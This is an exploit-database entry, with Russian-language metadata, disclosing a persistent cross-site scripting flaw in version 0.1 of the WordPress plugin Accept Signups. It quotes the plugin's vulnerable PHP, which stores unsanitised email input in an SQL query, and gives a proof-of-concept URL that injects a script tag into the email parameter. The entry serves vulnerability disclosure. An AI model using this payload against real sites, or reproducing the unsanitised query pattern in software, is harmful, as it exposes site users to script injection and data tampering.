Exploit WordPress Plugin Accept Signups 0.1 - Cross-Site Scripting

[Exploiter]

EDB-ID

15808

Проверка EDB

1. Пройдено

Автор

CLSHACK

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2010-12-22

# Exploit Title: WORDPRESS Plugin Accept Signups PERSISTENT XSS
# Date:21/12/2010
# Author: clshack
# Software Link:http://wordpress.org/extend/plugins/accept-signups/
# Version:0.1
# Tested on: wordpress 3.03
# CVE :
Vulnerable code accept-signups_submit.php:
require_once('../../../wp-config.php');//*addslashes* to GET and POST

$e=$_GET['email'];
function saveEmail($e) {
global $wpdb;
 $tbl = '`' . DB_NAME . '`.`' . $wpdb->prefix . 'accept-signups`';
$q = "insert into " .$tbl . " (email, ip, timestamp) value ('$e', '".
$_SERVER['REMOTE_ADDR'] . "', now());";
 return $wpdb->query($wpdb->prepare($q));
}

Poc:
http://localhost/wordpress/*wp-content/plugins/accept-signups/accept-signups_submit.php?email=clshack<script>alert(String.fromCharCode(72,
101, 108, 108, 111, 32, 58, 68, 32))</script>*